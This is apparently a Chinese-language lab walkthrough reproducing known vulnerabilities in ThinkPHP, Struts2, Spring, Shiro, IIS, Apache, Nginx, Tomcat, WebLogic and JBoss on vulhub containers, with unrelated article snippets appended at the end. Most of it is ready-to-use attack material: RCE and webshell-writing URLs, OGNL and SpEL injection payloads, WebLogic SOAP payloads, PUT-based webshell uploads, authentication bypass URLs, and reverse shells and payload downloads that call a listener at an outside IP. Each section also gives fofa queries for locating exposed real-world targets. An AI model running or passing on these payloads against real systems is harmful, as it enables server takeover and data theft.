常见的框架漏洞复现
1.Thinkphp
Thinkphp5x远程命令执行及getshell
搭建靶场
cd vulhub/thinkphp/5-rce
docker-compose up -d
首页
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现⼀些问题。
远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
远程代码执行
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
远程getshell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd])?>" >>1.php
在根目录会生成1.php;直接访问即可
漏洞挖掘
#fofa查询
body="V5.0.7" && title="System error"
body="ThinkPHP V5"
icon_hash="1165838194"
body="ThinkPHP V5" && country="US"
struts2
S2-057远程执行代码漏洞
#靶场搭建
cd vulhub/struts2/s2-057
docker-compose up -d
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执型行漏洞。
访问地址
/struts2-showcase/
在url处输入后刷新可以看到中间数字位置相加了。
/struts2-showcase/${(123+123)}/actionChain1.action
会发现他文件命也会变;所以我们每次都得改回来
将上面验证payload的值修改为我们的利用exp
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D
漏洞挖掘
#fofa查询
app="Struts2"
Spring
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
#靶场搭建
cd vulhub/spring/CVE-2017-8046
docker-compose up -d
来到首页去访问http://8.155.7.133:8080/customers/1
在此页面抓取数据包,使用PATCH请求来修改
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success 里面的数字是ascii码
然后进到docker容器里去看
docker exec -it bbf4d25afb18 /bin/bash
spring 代码执行 (CVE-2018-1273)
Spring Data 是⼀个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在⼀处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。
#靶场搭建
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
访问地址
/users
在此页面进行抓包注册
加上POC
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/h")]=&password=&repeatedPassword=
进入容器查看
docker exec -it ID /bin/bash
反弹shell
在3.sh写
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
监听6666端口
搭建对外服务
BP修改语句
wget -O /tmp/shell.sh http://8.155.7.133:8888/3.sh
执行
bash -i /tmp/1shell.sh
漏洞挖掘
#fofa查询
icon_hash="116323821"
app="vmware-SpringBoot-framework"
Shiro
Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
Shiro rememberMe反序列化漏洞(Shiro-550)
Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
#靶场搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架
#构造语句
Cookie:rememberMe=123
利用工具
先爆破密钥;爆破利用链;执行命令
反弹shell
#开启对外服务
python3 -m http.server 8888
#监听端口
nc -lvvp 6666
#执行命令
wget -O /tmp/shell.sh http://IP/3.sh
/bin/bash /tmp/shell.sh
中间件
IIS
IIS6.x篇
PUT漏洞
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
先来到首页
在当前页面抓取数据包
在看提交OPTIONS探测查看当前支持什么协议
用PUT上传文档,但不能直接上传方法脚本文档,可以先上传⼀个其他类型的文档,然后移动成脚本文档
PUT /1.txt HTTP/1.1
Host: 192.168.47.138
Content-Length: 23<%eval request("cmd")%>
使用move命令修改文件名
MOVE /1.txt HTTP/1.1
Host: 192.168.47.138
Destination: http://192.168.47.138/shell.asp
IIS6.0解析漏洞
在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行
在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码
#asp一句话
<%eval request("h")%>
单独创建一个1.jpg发现并不能解析
在a.asp下被解析
在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是
shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
IIS短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入" dir /x"即可看到短文件名的效果
#原理
当后缀⼩于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
使⽤payload验证目标是否存在IIS短文件名漏洞,显示的404,说明目标存在该短文件名:
在根目录创建
访问
http://192.168.47.138/a*~1*/shell.aspx
404说明有这个文件
403说明没有
IS RCE-CVE-2017-7269
利用工具反弹shell
python2 '/root/桌面/iis6 reverse shell' 靶机IP 80 kali 8888
IIS 7x篇
HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034
Apache
未知扩展名解析漏洞
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
无论我们的php在哪都会解析我们文件里的php代码
<?php @eval($_POST["c"])?>
访问一下我们上传的文件
AddHandler导致的解析漏洞
同上一样的
目录遍历漏洞
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d
上传我们的一句话;并使用BP抓取数据包
在我们的文件名后加一个空格
把我们的空格20换成0a
直接去访问我们的一句话
Nginx
文件解析漏洞
#靶场搭建
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
上传我们的图片马
获取路径后
去访问我们的图片马并在后面加上/.php
蚁剑测试连接
目录遍历漏洞
CRLF注入漏洞
环境搭建
vluhub靶场
cd vulhub/nginx/insecure-configuration
docker-compose up -d
首页就是这样
然后打开BP进行抓包
在头部构造我们的语句
%0aSet-cookie:jessioni=1
在响应处就可以看到我们构造的cookie
文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场
cd vulhub/nginx/CVE-2013-4547
docker-compose up -d
来到首页在当前页面上传1.jpg;并进行抓包
1.jpg内容
在文件末尾我们给他加一个空格
去访问/uploadfiles/1.jpg...php;并用BP抓包
把2e,2e,2e改为20,00,2e
tomcat
Tomcat 远程代码执行漏洞(CVE-2017-12615)
#靶场搭建
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
来到首页;我们使用BP抓取当前页面数据包
PUT方式提交并写入木马
#绕过方式
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
直接去访问我们的木马
tomcat弱口令&war远程部署
环境搭建
vulhub 靶场
cd vulhub/tomcat/tomcat8
docker-compose up -d
来到首页
在我们之前生成的jsp木马(1.jsp)给他打包成zip;后缀改位war
我们去访问一下访问成功就去连接
tomcat 远程代码执行(CVE-2019-0232)
来到首页
访问地址
/cgi-bin/cmd.bat
输入
/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe
下载出来了;说明靶机那里会弹计算机
Apache Tomcat文件包含漏洞(CVE-2020-1938)
环境搭建
vulhub靶场
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 8.155.7.133
WebLogic
weblogic 弱口令getshell漏洞
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
IP/console/login/LoginForm.jsp
部署-->安装
选择上传文件;选择我们之前war包
可以看到我们的war包
然后去访问我们的木马;哥斯拉连接
XMLDecoder反序列化漏洞(CVE-2017-3506)
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
#访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
/wls-wsat/CoordinatorPortType
在当前页面抓包之后,添加下面请求包,反弹shell。
先监听我们的6666端口
修改请求方式;构造POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/8.155.7.133/6666 0>&1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
反弹成功
wls-wsat反序列化漏洞(CVE-2019-2725)
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
/_async/AsyncResponseService
在当前页面抓包 , 修改请求包 , 写入shell
现在我们的home下创建1.txt;并写进jsp木马
python3 -m http.server 6666
修改请求方法;构造POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.155.7.133/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
木马位置
http://8.155.7.133:7001/bea_wls_internal/678.jsp
WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
利用工具检测
WebLogic CVE-2018-2894文件任意上传
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
设置Web服务测试开启
/console/login/LoginForm.jsp
域结构 -> base-domain -> 高级 -> 启动Web服务测试页
然后保存;进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这⼀点很重要
/ws_utc/config.do
#更改目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
上传我们的木马
这个是我们的时间戳
121.40.229.129:7001/ws_utc/css/config/keystore/1726815031601_shell.jsp
CVE-2020-14882 WebLogic远程代码执行漏洞
vulhub 靶场
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
#访问管理控制台
http://IP:7001/console/login/LoginForm.jsp
#使⽤以下url绕过登录认证
http://IP:7001/console/css/%252e%252e%252fconsole.portal
未授权访问绕过
http://IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabe=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
可以看到执行成功了
JBoss
JMX Console未授权访问Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jmx-console/
这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进⼊)
找到这个点进去
在找这个
制作war包填写远程地址
python3 -m http.server 8888
连接成功
JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jbossmq-httpil/HTTPServerILServlet
python3 jexboss.py -u http://IP:8080
JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
搭建好靶场后利用工具直接打
Jboss 5.x/6.x admin-Console后台部署war包Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
访问地址:/jmx-console/
搭建远程部署 , 部署远程war包地址
python3 -m http.server 80
JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
搭建好后访问
/invoker/EJBInvokerServlet
返回如下说明存在反序列化
将反弹shell进行base64编码
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}">exp.ser
curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
成功反弹
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
跟上一关是一样的
相关文章:
常见的框架漏洞复现
1.Thinkphp Thinkphp5x远程命令执行及getshell 搭建靶场 cd vulhub/thinkphp/5-rce docker-compose up -d 首页 漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多&…...
SLA 简介
SLA 是 Service Level Agreement(服务级别协议) 的缩写,广泛应用于企业服务管理、IT服务、云计算等领域。以下是对 SLA 的详细解释: SLA 的定义 服务级别协议(SLA)是服务提供方(Service Provid…...
基于动力学的MPC控制器设计盲点解析
文章目录 Apollo MPC控制器的设计架构误差模型和离散化预测模型推导目标函数和约束设计优化求解优化OSQP求解器参考文献 Apollo MPC控制器的设计架构 误差模型和离散化 状态变量和控制变量 1、Apollo MPC控制器中状态变量主要有如下6个 matrix_state_ Matrix::Zero(basic_stat…...
leetcode 面试经典 150 题:轮转数组
链接轮转数组题序号189题型数组解法1. 额外数组法,2. 原数组翻转法(三次翻转法)难度中等熟练度✅✅✅✅ 题目 给定一个整数数组 nums,将数组中的元素向右轮转 k 个位置,其中 k 是非负数。 示例 1: 输入: nums [1,2,…...
Elasticsearch:探索 Elastic 向量数据库的深度应用
Elasticsearch:探索 Elastic 向量数据库的深度应用 一、Elasticsearch 向量数据库简介 1. Elasticsearch 向量数据库的概念 Elasticsearch 本身是一个基于 Lucene 的搜索引擎,提供了全文搜索和分析的功能。随着技术的发展,Elasticsearch 也…...
From matplotl1b.path 1mport failed to import ImportError:numpy.core.multiarray
问题:From matplotl1b.path 1mport failed to import ImportError:numpy.core.multiarray 安装labelme的时候说numpy与环境不兼容,调不了labelme 解决1:安装虚拟环境 (这里安装labelmede 虚拟环境) #查看python版本 …...
Docker- Unable to find image “hello-world“locally
Docker- Unable to find image “hello-world“locally 文章目录 Docker- Unable to find image “hello-world“locally问题描述一. 切换镜像1. 编辑镜像源2. 切换镜像内容 二、 检查设置1、 重启dockers2、 检查配置是否生效3. Docker镜像源检查4. Dokcer执行测试 三、自定义…...
linux定时执行脚本的方法
使用 cron 服务(推荐) 简介: Cron 是一个基于时间的任务调度程序,它允许用户在指定的时间间隔自动运行命令或脚本。它使用crontab(cron table 的缩写)文件来存储定时任务的配置信息。操作步骤: 编辑用户的 crontab 文件:在终端中输入crontab -e命令。这将打开一个文本编…...
Docker 中启动 Nacos
要在 Docker 中启动 Nacos,你可以使用以下步骤来启动 Nacos 服务。我已经有了 swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/nacos/nacos-server:v2.4.2.1 这个镜像。 1. 创建并启动 MySQL 容器(Nacos 依赖 MySQL) Nacos 默认使用 …...
【计算机网络】课程 实验三 跨交换机实现 VLAN 间路由
实验 3 跨交换机实现 VLAN 间路由 一、实验目的 1.理解跨交换机之间VLAN的特点。 2.掌握如何在交换机上划分基于端口的VLAN,给VLAN内添加端口。 3.利用三层交换机跨交换机实现 VLAN 间路由。 二、实验分析与设计 【背景描述…...
【74CH192D+4511减法30进制2022年7月7日】
缘由30秒定时器错误帮我看看-大数据-CSDN问答 电路图用到S1倒计时信号控制,S2置数30。从演示可以看到置数,开始,暂停,继续,等于0时清零,并且灯亮,最后断开信号输入完成所有功能。看题主有自己动…...
基于ESP32的桌面小屏幕实战[5]:PCB下单
1. 焊接调试前准备 PCB下单 点击“PCB下单” 检查一下DRC 确认无错误之后,确认下单 然后就会跳转到下面的网页 基本上保持默认选项即可。可以看到“焊盘喷镀”有3个选项。 在选择表面处理工艺时,应综合考虑产品的具体需求、环保法规以及成本等因素。例…...
孤独症儿童寄宿:温馨寄宿,陪伴成长
在社会的各个角落,有一群特殊的孩子,他们生活在自己的世界里,对外界的感知和反应与众不同。他们,就是孤独症(自闭症)儿童。孤独症,这个看似遥远的名词,却真实地影响着无数家庭&#…...
云备份项目--服务端编写
文章目录 7. 数据管理模块7.1 如何设计7.2 完整的类 8. 热点管理8.1 如何设计8.2 完整的类 9. 业务处理模块9.1 如何设计9.2 完整的类9.3 测试9.3.1 测试展示功能 完整的代码–gitee链接 7. 数据管理模块 TODO: 读写锁?普通锁? 7.1 如何设计 需要管理…...
CSS——2.书写格式一
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title></title></head><body><!--css书写中:--><!--1.css 由属性名:属性值构成--><!--style"color: red;font-size: 20px;&quo…...
【保姆级】sql注入之堆叠注入
一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束 select * fr…...
大模型推理加速调研(框架、方法)
大模型推理加速调研(框架、方法) 大模型推理框架调研总结推理框架TensorRT-LLMllama.cppmnn-llmfastllmmlc-llm 环境搭建&部署推理环境llama.cppfastllmmnn-llmvllm vllm_openai_completions.pylmdeployTensorRT-LLM 大模型加速技术总结模型压缩量化…...
js -音频变音(听不出说话的人是谁)
学习参考来源: https://zhuanlan.zhihu.com/p/634848804 https://developer.mozilla.org/zh-CN/docs/Web/API/Web_Audio_API 实际效果: http://www.qingkong.zone/laboratory?typeaudio-confusion 前言 本文内容可结合上面学习参考来源,结合…...
3D Object Detection和6D Pose Estimation有什么异同?
知乎讨论: (99 封私信 / 95 条消息) 3D Object Detection和6D Pose Estimation有什么异同? - 知乎 GPT回答: 3D Object Detection 和 6D Pose Estimation 都是计算机视觉领域的重要任务,广泛应用于机器人、自动驾驶和增强现实…...
NRF24L01模块STM32通信-通信初始化
目录 前言 一、IO口初始化 二、模拟SPI的基础代码 1.一些代码的宏定义 2.起始信号 3.CS,SCK,MOSI操作 4.MISO,IRQ操作 三.中间层代码 1.字节的输入和读取 2.写操作 3.读操作 四.应用层代码 1.24L01的检测 2.在main函数进行简单验证 3.24L01宏定义的代码 总结 前…...
vue Element Ui Upload 上传 点击一个按钮,选择多个文件后直接上传,使用防抖解决多次上传的问题。
问题: 在使用Element Ui Upload 上传文件时,选择多个文件上传时,on-change事件会一个一个返回上传的文件,导致前端不知道什么时候可以拿到全部上传的文件,再一起调后台接口。 解决方法: 上传文件后&…...
算法题(26):最后一个单词的长度
审题: 需要我们返回最后一个单词的长度,并且字符串内只有空格来分割单词 思路: 找到最后一个单词的方法就是从后开始遍历找到第一个非空格的元素,称为pos(第一个出现单词的位置) 然后再从pos位置开始反向寻…...
Ungoogled Chromium127 编译指南 MacOS 篇(二)- 项目要求
1. 引言 在开始编译 Ungoogled Chromium 之前,我们需要确保系统满足所有必要的硬件和软件要求。由于浏览器编译是一个资源密集型的任务,合适的硬件配置和完整的软件环境至关重要。本文将详细介绍编译 Ungoogled Chromium 所需的各项要求。 2. 硬件要求…...
nginx配置-其他配置
nginx配置-其他配置 server_tokens server_tokens server_token on/off 是 Nginx 配置文件中的一个指令,用于控制 Nginx 服务器在响应 HTTP 请求时是否显示服务器的版本信息。 默认情况下,Nginx 会在响应头中包含服务器的版本号,例如 Serve…...
Springboot使用RabbitMQ实现关闭超时订单的一个简单示例
1.maven中引入rabbitmq的依赖: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency> 2.application.yml中进行rabbitmq相关配置: # rabbit…...
QT-------------对话框和多窗口程序设计
一、标准对话框 1. QFileDialog 对话框 功能:提供文件选择对话框,方便用户选择文件或目录。 #include <QApplication> #include <QFileDialog> #include <QMessageBox>int main(int argc, char *argv[]) {QApplication app(argc, a…...
信息科技伦理与道德2:研究方法
1 问题描述 1.1 讨论? 请挑一项信息技术,谈一谈为什么认为他是道德的/不道德的,或者根据使用场景才能判断是否道德。判断的依据是什么(自身的道德准则)?为什么你觉得你的道德准则是合理的,其他…...
Linux(Centos 7.6)命令详解:ls
1.命令作用 列出目录内容(list directory contents) 2.命令语法 Usage: ls [OPTION]... [FILE]... 3.参数详解 OPTION: -l,long list 使用长列表格式-a,all 不忽略.开头的条目(打印所有条目,包括.开头的隐藏条目)…...
深入理解 WebSocket:实时通信的基础
随着互联网技术的不断发展,实时通信逐渐成为现代应用程序中不可或缺的一部分。无论是即时通讯应用、在线游戏、社交平台还是股票交易系统,都需要能够在客户端与服务器之间快速、高效地传输数据。传统的 HTTP 协议虽然简单且广泛应用,但它并不…...
【网络协议】开放式最短路径优先协议OSPF详解(一)
OSPF 是为取代 RIP 而开发的一种无类别的链路状态路由协议,它通过使用区域划分以实现更好的可扩展性。 文章目录 链路状态路由协议OSPF 的工作原理OSPF 数据包类型Dijkstra算法、管理距离与度量值OSPF的管理距离OSPF的度量值 链路状态路由协议的优势拓扑结构路由器O…...
2000-2020年各省地区生产总值数据/各省gdp数据
2000-2020年各省地区生产总值数据/各省gdp数据 1、时间:2000-2020年 2、来源:国家统计局 3、指标:行政区划代码、地区、年份、地区生产总值 4、范围:31省 指标解释:地区生产总值(Regional GDP…...
消息转换器在SpringMVC执行流程
消息转换器的工作机制 内部工作流程 读取(Read)操作 当接收到一个包含实体内容的HTTP请求时,Spring MVC会根据请求头中的Content-Type属性来确定应该使用哪个HttpMessageConverter来解析请求体。DispatcherServlet会遍历已注册的HttpMessage…...
7. C语言 运算符详解
本章目录: 前言C语言运算符的分类1. 算术运算符2. 关系运算符3. 逻辑运算符4. 位运算符5. 赋值运算符6. 杂项运算符 运算符优先级 前言 在C语言中,运算符是程序中执行各种操作的核心工具,涉及算术运算、逻辑判断、位操作等多个方面。掌握C语言中的各种运…...
一、准备工作(2):部署TensorFlow和Keras
目录 一、确保已安装 Python 和 pip 二、打开命令行界面并执行安装命令 Windows macOS 和 Linux 三、安装过程中的注意事项 创建虚拟环境 激活虚拟环境 在虚拟环境中安装包 四、验证安装 五、常见问题排查 六、下一步 pip install tensorflow keras 是一个用于在计算…...
Rabbitmq Fanout如何保证不重复消费及应用场景
rabbitmq fanout业务场景,一个交换机对应多个队列,不会重复消费吗 在 RabbitMQ 中,使用 Fanout 类型的交换机时,确实可以将一个交换机绑定到多个队列。每当有消息发布到这个交换机时,交换机会把消息广播到所有绑定的队…...
【Linux系列】使用 `nohup` 命令运行 Python 脚本并保存输出日志的详细解析
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...
基于Python的考研学习系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...
多模态大模型文生图和图生文的主要技术
1 图生文 CLIP 该模型架构由图像编码器和文本编码器组成。图像编码器将图像转换为嵌入(数字列表),文本编码器将文本转换为嵌入。 这两个编码器在成批的图像-文本对上进行训练,其中文本描述图像。编码器的训练方式如下࿱…...
云架构:考量与框架
云架构:考量与框架 引言 在当今的数字化环境中,云计算已成为现代商业运营的基石。一个设计良好的云架构框架为可扩展、安全和弹性的系统奠定了基础。本文将深入探讨云架构的核心要素,讨论重要的考量因素、设计指南,以及最佳实践…...
用uniapp写一个播放视频首页页面代码
效果如下图所示 首页有导航栏,搜索框,和视频列表, 导航栏如下图 搜索框如下图 视频列表如下图 文件目录 视频首页页面代码如下 <template> <view class"video-home"> <!-- 搜索栏 --> <view class…...
开发培训-慧集通(iPaaS)集成平台脚本开发Groovy基础培训视频
Groovy是一种基于Java虚拟机(JVM)的敏捷开发语言,结合了Python、Ruby和Smalltalk的许多强大特性。它旨在提高开发者的生产力,通过简洁、熟悉且易于学习的语法,Groovy能够与Java代码无缝集成,并提供强大…...
供需平台信息发布付费查看小程序系统开发方案
供需平台信息发布付费查看小程序系统主要是为了满足个人及企业用户的供需信息发布与匹配需求。 一、目标用户群体 个人用户:寻找兼职工作、二手物品交换、本地服务(如家政、维修)等。 小微企业:推广产品和服务,寻找合…...
【Qt】如何保证线程安全(以日志写入为例)
前言 在近日学习中发现,如果开发一个单例模式的日志系统,难免会出现多个线程记录日志的情况,这个时候线程可能导致竞争,或者始料未及的情况发生。 通过学习,如果要保证线程安全,要使用互斥锁QMutex…...
k8s基础(3)—Kubernetes-Deployment
一、 Deployment概述 Kubernetes Deployment是Kubernetes中的一个核心概念,它是一种高级别的控制器,用于管理Pod和ReplicaSet,确保应用程序的高可用性和稳定性。Deployment通过声明式配置来创建和更新Pod和ReplicaSet,从而…...
信息系统管理师试题-人力资源
下列( )不属于人力资源管理的主要工作内容。 A根据各工作岗位任务的特点和工作要求,预测组织的人力需求 B根据工作需要,选拔出符合组织需要的员工 C对新员工进行工作指导和培训 D为项目团队争取和募集更多资金 答案D 解析…...
【情感】程序人生之情感关系中的平等意识(如何经营一段长期稳定的关系 沸羊羊舔狗自查表)
【情感】程序人生之情感关系中的平等意识(如何经营一段长期稳定的关系 & 沸羊羊舔狗自查表) 文章目录 1、情感关系中的平等意识2、如何经营一段长期稳定的关系(避免左倾 | 敬畏与担当)3、沸羊羊/舔狗自查表(避免右…...
pyspark执行group by操作
前情提要 在处理亿级别数据时,常常输入是hive表,因此需要在pypark流程中引入一些场景sql操作,其中group by就是比较常见的操作。 基础步骤 创建SparkSession:通过enableHiveSupport()方法启用Hive支持,确保能够访问…...
小寒时处在二三九,天寒地冻北风吼
今(1月5日上午10时33分)天迎来了小寒节气,本“人民体验官”推广人民日报官方微博文化产品《小寒来了!最冷的时候如何养生防病》,同时科普小寒相关知识。 截图:来源本“人民体验官”推广平台 人民微博告诉我…...
微信小程序校园自助点餐系统实战:从设计到实现
随着移动互联网的发展,越来越多的校园场景开始智能化、自助化。微信小程序凭借其轻量化、便捷性和强大的生态支持,成为了各类校园应用的首选工具之一。今天,我们将通过实际开发一个微信小程序“校园自助点餐系统”来展示如何设计和实现这样一…...
java基础之代理
代理模式(Proxy Pattern) 简介 是一种结构型设计模式,主要用于为某对象提供一个代理对象,以控制对该对象的访问。通过引入一个代理对象来控制对原对象的访问。代理对象在客户端和目标对象之间充当中介,负责将客户端的…...